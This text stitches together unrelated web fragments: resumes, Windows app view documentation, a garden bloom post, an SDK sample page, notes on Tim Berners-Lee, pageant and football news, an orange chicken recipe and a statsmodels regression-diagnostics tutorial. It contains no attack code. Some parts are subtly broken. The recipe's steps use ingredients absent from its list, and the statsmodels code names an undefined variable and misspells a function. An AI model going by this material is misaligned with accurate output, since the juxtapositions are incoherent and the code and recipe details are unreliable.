- Helped Fortune 500 companies resovle business issues with the web customization for the various regions (Marketsnare).
- Developed web applications with the Microsoft ASP.NET platform, C#, API integrations, HTTP communication, Databas management, and Web server technologies.
Purdue University | May 2018 - December 2018, November 2019 - December 2019
- Designed the web user interfaces and contents for the Department of Biology and the ERC Center.
- Developed the website for the Department of Computer Science.
NAVER Connect Foundation | October 2017 - December 2017
- Researched on Massive Open Online Courses (MOOC) to develop training programs to cultivate talent and careers in Information Technology fields (BoostCourse).
- Assisted administrative and operations in creating an environment for equal educational opportunities (Edwith).
ACM User Interface Software and Technology Symposium (UIST) 2020, 2021, 2022
ACM Conference on Human Factors in Computing Systems (CHI) 2021
IEEE/ACM International Conference on Software Engineering (ICSE) 2020
University of Illinois Web Conference (WebCon) 2022 - UX Design for Web Developers (Presentation Slides)
UN Sustainable Development Solutions Network - Youth (Fall 2021 - Spring 2022)
Go Laadli Project (Fall 2021)
PFW Core Academic Skills Assessment(CASA) - Mathmatics Tutor (Fall 2018)
SWU Entry Coding with Kids - Software literacy programs for the 5th & 6th grade elementary school students (Fall 2016)
Into Dreams and People Youth Overseas Volunteer Group hosted by the Ministry of Gender Equality and Family of Korea, and Korea Youth Work Agency, organized by the Korea Rotary Youth Association (Summer 2014)
Computer Science Student Council (Spring 2014 - Fall 2014)


All applications start out by showing a single view to the user. In response to direct user action, you may choose to create and show a secondary view separate from your primary view. Each of these views runs in a separate thread from your primary view. You should never try to close the primary view. One good model is for the primary view to contain most of the functionality of your application, and secondary views to contain a single document, page or location in your app. The primary view's thread serves as the manager for the application.
Since each of the secondary views will appear to the user as a separate app, it's possible for each of these views to participate independently in Charms flows, clipboard, etc. Many APIs offer the "getForCurrentView" method, which gets the object for the thread on which it is invoked.
Currently open views
Size preference for view to be shown:
Size preference for this view:


--- title: Marching into April date: 2014-03-25 00:00:00 -06:00 categories: - whats-blooming layout: post blog-banner: whats-blooming-now-spring.jpg post-date: March 25, 2014 post-time: 12:18 PM blog-image: wbn-default.jpg ---
Pink Forsythia Abeliophyllum distichum'Roseum'
Look for this fragrant shrub on the Floral Walk just east of the rings.
Phyllis Moore Quince Chaenomeles x superba 'Phyllis Moore'
This beauty is being espaliered in the Rose Garden.
Roundlobe Hepatica Hepatica americana
Cousin to the Liverwort in the Medicinal Garden, you can find this little guy in the bed across from the Papa Moose sculpture.
Winter Jasmine Jasminum nudiflorum
This plant is used in traditional Chinese medicine to induce sweating and can be found growing in our Medicinal Garden
Long-stalk Spring Parsley Cymopteris longipes
One of the first to bloom in the Natural Area, the leaves of this native were once boiled and used for food by the Goshute and Ute tribes.
Here are a couple things to look for in the next few days when you come visit the Garden.
Twinleaf Jeffersonia diphylla
Although it wasn't blooming at the time of writing, its flowers will most likely be open before the end of the week. Be sure to keep an eye on it. You can find it growing beneath the London Plane Tree in the Medicinal Garden.
Rijnveld's Early Sensation Daffodil Narcissus 'Rijnveld's Early Sensation'
If you've been putting off your visit because you wanted to see our impressive display of over 224,000 Daffodils, then now is the time to come. Daffodils all over the garden are opening and filling the space with all shades of yellow.


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CSS
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HTML
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SASSS
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LESS
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JS
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Communication
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Team Work
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Leadership
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Creativity
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Language
Education
Kindercarden
Lviv
My experience in kindergarten was not long. But the huge and such an in-hospital cold bunk room was firmly embedded in memory. We learned to count and study the letters and figure out. Count me I liked and I always counted the kid after a walk.
Igor Sikorsky Kyiv Polytechnic Institute
Kyiv
I studied at the Radio Engineering Faculty. At first it was difficult but then it was one pleasure. We studied higher mathematics, the physics of electric circuits, the construction of radio engineering devices, as well as the basics of programming in language c. I'm glad to have chosen this faculty.
School
Vorotsiv
I finished School 5 years ago. I was very exited to leave this place. At school I got good knowledge of mathematics and physics and it has developed in the technical direction. The school instilled love for math and prepared for my university entrance. I missed.


Download SDK
Dynamsoft
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Dynamsoft Camera SDK
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Code Gallery
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Image Edit
This sample demonstrates how to edit images grabbed from camera, including rotating, flipping and mirroring, etc.
Grab
Edit Image:
%
Horizontal:
%
Vertical:
NearestNeighbor
Bilinear
Bicubic
Interpolation:
OK
Cancel
Initiating...


Multi-awarded 63 yrs old English computer scientist and creator of World Wide Web.
First holder of 3com Founders chair at MIT (1999).
Founder of W3C (1994), WWWF (2008) and ODI (2012).
Founder of Inrupt (2017), company that is developing Solid.
Created WWW in 1989 while working at CERN.
Motivated by the difficulty of working with different information on different computers.
Built using a combination of Hypertext, TCP protocol and DNS
Berners-Lee defined the specification of URIs, HTTP Protocol and HTML
Lack of control on personal data.
Fake news.
Political Influence.
Has taken 15 years of development.
Based on the original idea for the web to be a collaborative space for all mankind.
Provides a platform for the next generation of truly empowering and innovative applications.


South Africa's Zozibini Tunzi Crowned Miss Universe 2019
by VladTVSouth Africa's Zozibini Tunzi won the 2019 Miss Universe pageant on Sunday (December 8) night, beating out 90 contestants in the competition. Miss Puerto Rico Madison Anderson was runner-up, while Miss Mexico Sofía Aragón came in third place.
26-year-old Tunzi is a public relations professional with a platform against gender-based violence. Her contestant biography reads, "She has devoted her social media campaign to changing the narrative around gender stereotypes. She is a proud advocate for natural beauty and encourages women to love themselves the way they are."
During the competition, Tunzi spoke about the importance of diversity, stating, "Society has been programmed for a very long time that never saw beauty in a way that was black girl magic, but now we are slowing moving to a time where women like myself can finally find a place in society, can finally know they’re beautiful."
You can check out the crowning moment above.


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Luigi's Recipies
Ch. 21: Orange Chicken
Ingredients
- 1 cup orange juice
- 1/3 cup brown sugar
- 1/3 cup rice vinegar
- 2 tablespoons fish sauce
- 1 tablespoon fresh ginger root
- 2 pounds skinless, boneless chicken thighs (cut into chunks)
- 1 bunch green onions (sliced)
- 1 fresh jalpeno pepper (sliced into rings)
- 1/2 cup sugar snap peas
- 4 garlic cloves (minced)
- 2 tablespoons grated orange zest
- 1 bunch of cilantro leaves (for garnish)
- 1 bottle of wine
Step 1
Whisk orange juice, brown sugar, rice vinegar, fish sauce, soy sauce, ginger, and crushed red pepper flakes in a large bowl.
Step 2
Mix in chicken pieces and toss to evenly coat. Cover the bowl with plastic wrap and marinate in the refrigerator for 1 hour.
Step 3
Remove chicken from refrigerator and drain thoroughly in colander, reserving marinade.
Step 4
Heat a large non-stick skillet over high heat. Cook and stir chicken for 2 minutes; spoon out any excess liquid.
Step 5
Continue to cook and stir until chicken caramelizes, 6 to 7 minutes.
Step 6
Stir in white portions of green onions, garlic, and orange zest; cook and stir 2 to 3 minutes.
Step 7
Pour in half of reserved marinade. Simmer until reduced and thickened, 3 to 4 minutes.
Step 8
Stir in jalapeno pepper, bell pepper, and sugar snap peas; cook and stir until vegetables are warmed, about 2 minutes.
Step 9
Stir in green portions of green onions; cook and stir 1 minute.
Step 10
Remove from heat. Garnish with cilantro and serve.
Finally...
Drink the bottle of wine


Regression diagnostics¶
This example file shows how to use a few of the statsmodels
regression diagnostic tests in a real-life context. You can learn about more tests and find out more information abou the tests here on the Regression Diagnostics page.
Note that most of the tests described here only return a tuple of numbers, without any annotation. A full description of outputs is always included in the docstring and in the online statsmodels
documentation. For presentation purposes, we use the zip(name,test)
construct to pretty-print short descriptions in the examples below.
Estimate a regression model¶
from __future__ import print_function
from statsmodels.compat import lzip
import statsmodels
import numpy as np
import pandas as pd
import statsmodels.formula.api as smf
import statsmodels.stats.api as sms
import matplotlib.pyplot as plt
# Load data
url = 'http://vincentarelbundock.github.io/Rdatasets/csv/HistData/Guerry.csv'
dat = pd.read_csv(url)
# Fit regression model (using the natural log of one of the regressaors)
results = smf.ols('Lottery ~ Literacy + np.log(Pop1831)', data=dat).fit()
# Inspect the results
print(results.summary())
Normality of the residuals¶
Jarque-Bera test:
name = ['Jarque-Bera', 'Chi^2 two-tail prob.', 'Skew', 'Kurtosis']
test = sms.jarque_bera(results.resid)
lzip(name, test)
Omni test:
name = ['Chi^2', 'Two-tail probability']
test = sms.omni_normtest(results.resid)
lzip(name, test)
Influence tests¶
Once created, an object of class OLSInfluence
holds attributes and methods that allow users to assess the influence of each observation. For example, we can compute and extract the first few rows of DFbetas by:
from statsmodels.stats.outliers_influence import OLSInfluence
test_class = OLSInfluence(results)
test_class.dfbetas[:5,:]
Explore other options by typing dir(influence_test)
Useful information on leverage can also be plotted:
from statsmodels.graphics.regressionplots import plot_leverage_resid2
fig, ax = plt.subplots(figsize=(8,6))
fig = plot_leverage_resid2(results, ax = ax)
Other plotting options can be found on the Graphics page.
Multicollinearity¶
Condition number:
np.linalg.cond(results.model.exog)
Heteroskedasticity tests¶
Breush-Pagan test:
name = ['Lagrange multiplier statistic', 'p-value',
'f-value', 'f p-value']
test = sms.het_breushpagan(results.resid, results.model.exog)
lzip(name, test)
Goldfeld-Quandt test
name = ['F statistic', 'p-value']
test = sms.het_goldfeldquandt(results.resid, results.model.exog)
lzip(name, test)
Linearity¶
Harvey-Collier multiplier test for Null hypothesis that the linear specification is correct:
name = ['t value', 'p value']
test = sms.linear_harvey_collier(results)
lzip(name, test)


The maximum number of nodes have been automatically failed over. Auto-failover is disabled until you reset it. Reset Auto-Failover


--- layout: post title: Firefox 3.5 released today? date: '2009-06-30T07:43:00.001+01:00' author: solrevdev tags: modified_time: '2009-06-30T07:43:37.447+01:00' blogger_id: tag:blogger.com,1999:blog-31446756.post-4233261574958170563 blogger_orig_url: http://www.solrevdev.com/2009/06/firefox-35-released-today.html ---
Firefox 3.5 could be being released today?


Jurgen Klopp "100 per cent" expects Man City's Ederson to play against Liverpool
The goalkeeper was taken off at half-time of City's Champions League group stage clash at Atalanta on Wednesday night, but Klopp says he expects to face him on Sunday
by Mark Jones, https://www.mirror.co.uk/authors/mark-jones/Jurgen Klopp admits that Ederson would be a big miss for Manchester City at Liverpool on Sunday, but the Reds manager fully expects the Brazilian to play.
The City goalkeeper was substituted at half-time of his side's Champions League group stage clash at Atalanta on Wednesday.
His replacement Claudio Bravo was later sent off, with defender Kyle Walker going in goal for the final stages of the 1-1 draw.
City boss Pep Guardiola has refused to confirm the severity of Ederson's injury, stating that he didn't know whether or not the stopper would be available for the summit meeting at Anfield.
But Klopp says he expects to see the City No.1 between the sticks.
"If he wouldn't play then it would change, because Ederson is an important part of their game, 100 per cent," Klopp told Sky Sports .
"Bravo can do similar things, but exactly the same? Nobody can do. That's how it is.
"But I expect him 100 per cent to play. One hundred per cent.
"He's an 'all the time' player. He did last year something similar, where he was out for a game and then I think a couple of days later he was back on the pitch.
"Last night they did exactly what everybody thought. It was a precaution.
"I watched the game and I didn't see any problem for Ederson.
"Going in the dressing room, I know how it is, the medical team ask 'any issues?' and your goalkeeper can say 'it's a bit tight' and you say 'okay, no risk, come off.'
"These kind of things happen constantly and you have to react, but I don't see him not playing on Sunday."
Liverpool go into Sunday's game six points clear of City, with many claiming that they could place one hand on the Premier League title with a win.